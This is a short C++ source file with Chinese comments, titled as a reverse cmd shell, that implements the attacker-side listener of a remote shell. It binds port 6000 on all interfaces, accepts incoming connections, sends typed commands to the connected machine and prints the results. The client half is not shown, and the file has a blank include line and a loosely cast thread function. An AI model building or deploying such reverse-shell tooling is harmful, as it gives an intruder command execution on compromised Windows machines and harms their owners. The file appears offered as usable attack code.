反弹cmd
ReboundShellSrever.cpp
#include ""
using namespace std;
char sendBuf[BUFSIZE];
char receiveBuf[BUFSIZE];//接收
int num = 0;
unsigned int __stdcall SendThread(SOCKET serConn)
{
//发送信息
cin.getline(sendBuf, BUFSIZE + 1);
send(serConn, sendBuf, strlen(sendBuf) + 1, 0);
if (*sendBuf == 'n')
return 1;
recv(serConn, receiveBuf, BUFSIZE, 0);
cout << receiveBuf;
shutdown(serConn, 2);
closesocket(serConn);//关闭
return 0;
}
BOOL CreateSerConn(SOCKET SerSocket)
{
HANDLE hSemaphore, hObject;
SOCKADDR_IN clientsocket;
int len = sizeof(SOCKADDR);
//第二次握手，通过accept来接受对方的套接字的信息
SOCKET serConn = accept(SerSocket, (SOCKADDR*)&clientsocket, &len);//如果这里不是accept而是conection的话。。就会不断的监听
if (serConn != -1)
{
if (!num)
{
cout << "输入指令触发(y/n)：" << endl;
num++;
}
hObject = (HANDLE)_beginthreadex(NULL, 0, (_beginthreadex_proc_type)&SendThread, (void*)serConn, 0, NULL);
WaitForSingleObject(hObject, INFINITE);
if (hObject)
{
closesocket(serConn);
}
}
return TRUE;
}
BOOL CreateServer()
{
//创建套接字，socket前的一些检查工作，包括服务的启动
WORD myVersionRequest;
WSADATA wsaData;
myVersionRequest = MAKEWORD(1, 1);
SOCKET SerSocket;
SOCKADDR_IN addr;
if (!WSAStartup(myVersionRequest, &wsaData))
{
SerSocket = socket(AF_INET, SOCK_STREAM, 0); //创建了可识别套接字
if (SerSocket)
{
//初始化参数
addr.sin_family = AF_INET;
addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY); //ip
addr.sin_port = htons(6000); //端口
//绑定端口
//其中第二个参数代表能够接收的最多连接数
if (!bind(SerSocket, (SOCKADDR*)&addr, sizeof(SOCKADDR)) && !listen(SerSocket, 5))
{
while (TRUE)
{
while (CreateSerConn(SerSocket));
Sleep(0x64);
memset(sendBuf, 0, sizeof(sendBuf));
memset(receiveBuf, 0, sizeof(receiveBuf));
}
}
closesocket(SerSocket);
}
}
WSACleanup();//释放资源的操作
return TRUE;
}